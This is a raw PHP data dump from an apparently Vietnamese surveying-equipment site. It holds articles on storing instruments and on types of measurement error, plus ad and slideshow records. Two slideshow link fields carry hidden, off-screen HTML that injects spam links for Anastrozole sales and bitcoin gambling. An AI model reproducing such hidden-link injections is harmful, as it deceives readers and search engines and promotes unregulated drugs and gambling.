30 ° C (86 ° F). Nhiệt độ cao hoặc độ ẩm quá mức có thể khiến nấm mốc phát triển trên các ống kính. Nó cũng có thể làm cho thị kính điện tử bị mờ đi và do đó dẫn đến việc khó bắt mục tiêu.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/DTM 322(1).jpg" style="width: 400px; height: 391px;" /><br /> - Khi bảo quản thiết bị ở những nơi có nhiệt độ cực thấp, hãy để hộp đựng mở.<br /> - Khi điều chỉnh các ốc cân bằng máy, hãy đặt vị trí càng gần vị trí trung tâm của ốc cân bằng máy.<br /> - Không sử dụng dung môi hữu cơ (chẳng hạn như ether hoặc chất pha loãng sơn) để làm sạch các bộ phận phi kim loại của thiết bị (chẳng hạn như bàn phím hoặc các bề mặt được sơn của máy). Làm như vậy có thể dẫn đến đổi màu bề mặt, hoặc lột các ký tự logo. Làm sạch những bộ phận này chỉ bằng một bông gòn, vải hoặc khăn giấy, thấm nhẹ bằng nước hoặc chất tẩy nhẹ.<br /> - Để vệ sinh ống kính quang học, hãy lau nhẹ bằng một miếng vải mềm hoặc bông gòn được thấm cồn.<br /> - Trước khi gắn pin, hãy chắc chắn rằng bề mặt tiếp xúc trên bề mặt pin và dụng cụ đã được lau chùi sạch sẽ.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/HOP MAY_02 B40A(2).jpg" /><br /> - Hộp đựng được thiết kế kín nước, nhưng bạn không nên để nó tiếp xúc với mưa lớn.<br /> <br /> Bảo quản thiết bị trắc địa là một trong những khâu quan trọng giúp việc đo đạc được chính xác. Nó giúp hỗ trợ giảm chi phí đầu tư cũng như chi phí sửa chữa máy. Hy vọng những thông tin trên sẽ hữu ích cho bạn.<br /> </span></span>', 'images' => '201905030810258d806bbec8ab9ba5235e121c05e3154a.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-03', 'modified' => '2025-08-10', 'status' => '1', 'view' => '74548', 'slug' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '939', 'rght' => '940', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 3 => array( 'Post' => array( 'id' => '536', 'name' => 'Các loại sai số, tiêu chí đánh giá độ chính xác kết quả đo', 'code' => null, 'alias' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1. Các loại sai số trong đo đạc.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số sai lầm.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số sai lầm là do người đo thiếu cẩn thận trong khi đo, hoặc kỹ thuật đo không bảo đảm. Sai số này thường có giá trị tương đối lớn.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Khắc phục: đổi người đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số hệ thống:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số do độ chính xác của máy và không bảo đảm hoặc do thói quen, thị lực của người đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số hệ thống thường có dấu và giá trị không đổi.</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Loại trừ sai số hệ thống:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Nếu do máy thì chúng ta có thể kiểm nghiệm, xác định giá trị sai số của máy rồi lấy kết quả đo trừ đi giá trị sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- nếu do người đo thì chúng ta có thể kiểm nghiện sai số của người bằng cách so sánh kết quả của người đo với một vài người đo khác để biết được mức độ sai khác nhau về kết quả, sau đó lấy kết quả đo trừ đi giá trị sai khác đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số ngẫu nhiên.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số xuất hiện trong kết quả đo một cách ngẫu nhiên mà không thể xác định được quy luật cũng như giá trị và nguyên nhân của sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số ngẫu nhiên không thể loại trừ được, tuy nhiên qua nghiên cứu cho thấy sai số ngẫu nhiên có những tính chất sau đây:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> - Các giá trị tuyệt đối của sai số ngẫu nhiên không vượt quá một giá trị nhất định nào đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Các giá trị sai số ngẫu nhiên càng nhỏ thì có khả năng xuất hiện càng nhiều, còn giá trị càng lớn thì xuất hiện càng ít.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Sai số ngẫu nhiên mang giá trị dương (+) và sai số ngẫu nhiên mang giá trị âm (-) có xác suất xuất hiện bằng nhau khi số lần đo tiến tới vô cùng.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tổng đại số của các giá trị sai số ngẫu nhiên của n lần đo cho một đại lượng là bằng không khi:<a href="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">2. Các tiêu chí đánh giá độ chính xác kết quả đo.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số trung bình cộng (kí hiệu là s): được tính theo công thức sau:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: s- sai số trung bình cộng</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số trung phương (kí hiệu là m): được tính theo công thức:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: m – sai số trung phương</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số xác suất (kí hiệu là p)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong dãy kết quả đo nếu sắp xếp các sai số theo giá trị tuyệt đối từ bé đến lớn thì sai số xác suất p có giá trị của sai số đứng giữa về thứ tự sắp xếp.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Khi nghiên cứu về sai số trung bình cộng (s), sai số trung phương (m) và sai số xác suất (p) thấy chúng có mối quan hệ: p/s/m - tương ứng là 0,67/0,8/1,0</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu số lần đo càng nhiều thì tỷ số này càng đúng, dựa vào tỷ số này người tư có thể tính nhanh các giá trị của sai số trung bình cộng (s), sai số trung phương (m) thông qua giá trị của sai số xác suất (p)</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">d) Sai số giới hạn (kí hiệu là f)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nghiên cứu thống kê cho thấy:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cứ 1000 sai số thực thì có 3 giá trị si số vượt qua giới hạn ba lần giá trị sai số trung phương m. Trong 100 sai số thực thì có năm giá trị v]ợt quá giới hạn hai lần giá trị của sai số trung phương m.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Vì vậy người ta thường chọn sai số giới hạn bằng 3 lần sai số trung phương</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 3m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong trường hợp yêu cầu độ chính xác cao thì chọn sai số giới hạn bằng 2 lần sai số trung phương.</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 2m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Như vậy trong quá trình tính toán nếu giá trị nào vượt quá sai số giới hạn thì bị coi là sai số sai lầm và bị loại ra khỏi kết quả đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">e) Sai số tương đối (kí hiệu là <span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1/T</em></span>) là tỷ số giữa sai số trung phương và giá trị thực của đại lượng đo (L).</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số tương đối dùng để so sánh mức độ sai số với giá trị thực của đại lượng đo:</span></span></div> ', 'images' => '201904250406260790335a670cb13c2fdb67fe2f8df9ba.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-04-25', 'modified' => '2025-08-10', 'status' => '1', 'view' => '82720', 'slug' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '937', 'rght' => '938', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) ) $duandatrienkhai = array( (int) 0 => array( 'Advertisement' => array( 'id' => '49', 'name' => null, 'link' => '', 'images' => null, 'display' => '3', 'created' => '2022-04-13', 'modified' => '2022-04-26', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '11', 'rght' => '12' ) ), (int) 1 => array( 'Advertisement' => array( 'id' => '48', 'name' => null, 'link' => '', 'images' => '20190711121014468fcab5a34b87b67951ec18c257f13a.png', 'display' => '3', 'created' => '2019-07-11', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '9', 'rght' => '10' ) ), (int) 2 => array( 'Advertisement' => array( 'id' => '47', 'name' => null, 'link' => '', 'images' => '20190711121036d3f1b378428c2328a4bb143d22a3d53b.png', 'display' => '3', 'created' => '2019-06-18', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '7', 'rght' => '8' ) ) ) $slideshow = array( (int) 0 => array( 'Slideshow' => array( 'id' => '69', 'name' => '', 'images' => null, 'created' => '2019-07-11 10:23:46', 'modified' => '2022-04-16 00:00:00', 'status' => '1', 'pos' => '0', 'type' => 'intro', 'link' => '', 'content' => '', 'shortdes' => '', 'content_eng' => '', 'shortdes_eng' => '', 'name_eng' => '', 'name_tq' => '', 'shortdes_tq' => '', 'content_tq' => '' ) ), (int) 1 => array( 'Slideshow' => array( 'id' => '68', 'name' => '', 'images' => '201907111208539ebd41e6cbc1e14780805f6fc0d65867.gif', 'created' => '2019-07-11 10:22:33', 'modified' => '2021-05-13 00:00:00', 'status' => '1', 'pos' => '0', 'type' => 'intro', 'link' => '<div style="position:absolute;top: -1286px;">Buy <a href="http://contest-sport.com/sport-products/anastrazolos-1/"> Anastrozole directly from the manufacturer in USA </a> and without intermediaries.</div>', 'content' => '', 'shortdes' => '', 'content_eng' => '', 'shortdes_eng' => '', 'name_eng' => '', 'name_tq' => '', 'shortdes_tq' => '', 'content_tq' => '' ) ), (int) 2 => array( 'Slideshow' => array( 'id' => '66', 'name' => '', 'images' => '2019071110173758daf01bf616370befe2ad36e8391dfa.png', 'created' => '2019-07-11 10:09:25', 'modified' => '2022-04-15 00:00:00', 'status' => '1', 'pos' => '0', 'type' => 'intro', 'link' => '<div style="position:absolute;top: -1286px;">Play <a href="https://windice.io/plinko">bitcoin plinko</a> to hit the jackpot today!</div>', 'content' => '', 'shortdes' => '', 'content_eng' => '', 'shortdes_eng' => '', 'name_eng' => '', 'name_tq' => '', 'shortdes_tq' => '', 'content_tq' => '' ) ) ) $adv_khuyenmai = array( 'Advertisement' => array( 'id' => '1', 'name' => null, 'link' => '', 'images' => '20190618044702f2726adc12fc8d21c875c9ee5274335e.png', 'display' => '5', 'created' => '2015-11-12', 'modified' => '2019-06-18', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '1', 'rght' => '2' ) ) $doitac = array( (int) 0 => array( 'Advertisement' => array( 'id' => '47', 'name' => null, 'link' => '', 'images' => '20190711121036d3f1b378428c2328a4bb143d22a3d53b.png', 'display' => '3', 'created' => '2019-06-18', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '7', 'rght' => '8' ) ), (int) 1 => array( 'Advertisement' => array( 'id' => '48', 'name' => null, 'link' => '', 'images' => '20190711121014468fcab5a34b87b67951ec18c257f13a.png', 'display' => '3', 'created' => '2019-07-11', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '9', 'rght' => '10' ) ), (int) 2 => array( 'Advertisement' => array( 'id' => '49', 'name' => null, 'link' => '', 'images' => null, 'display' => '3', 'created' => '2022-04-13', 'modified' => '2022-04-26', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '11', 'rght' => '12' ) ) ) $chayphai = array( 'Advertisement' => array( 'id' => '3', 'name' => null, 'link' => '', 'images' => '20160216064647eda555165b5c7208330a328fac635686.png', 'display' => '2', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '5', 'rght' => '6' ) ) $chaytrai = array( 'Advertisement' => array( 'id' => '2', 'name' => null, 'link' => '', 'images' => '201602160646338f7cfbf080f7dfc1a2bafa3a3f0dd7c1.jpg', 'display' => '1', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '3', 'rght' => '4' ) ) $chiasekinhnghiem = array() $list_menu_footer = array() $danhmuc_left_parent = array( (int) 0 => array( 'Catproduct' => array( 'id' => '2', 'name' => 'Sản phẩm', 'slug' => 'san-pham' ) ) ) $danhmuc = array( (int) 0 => array( 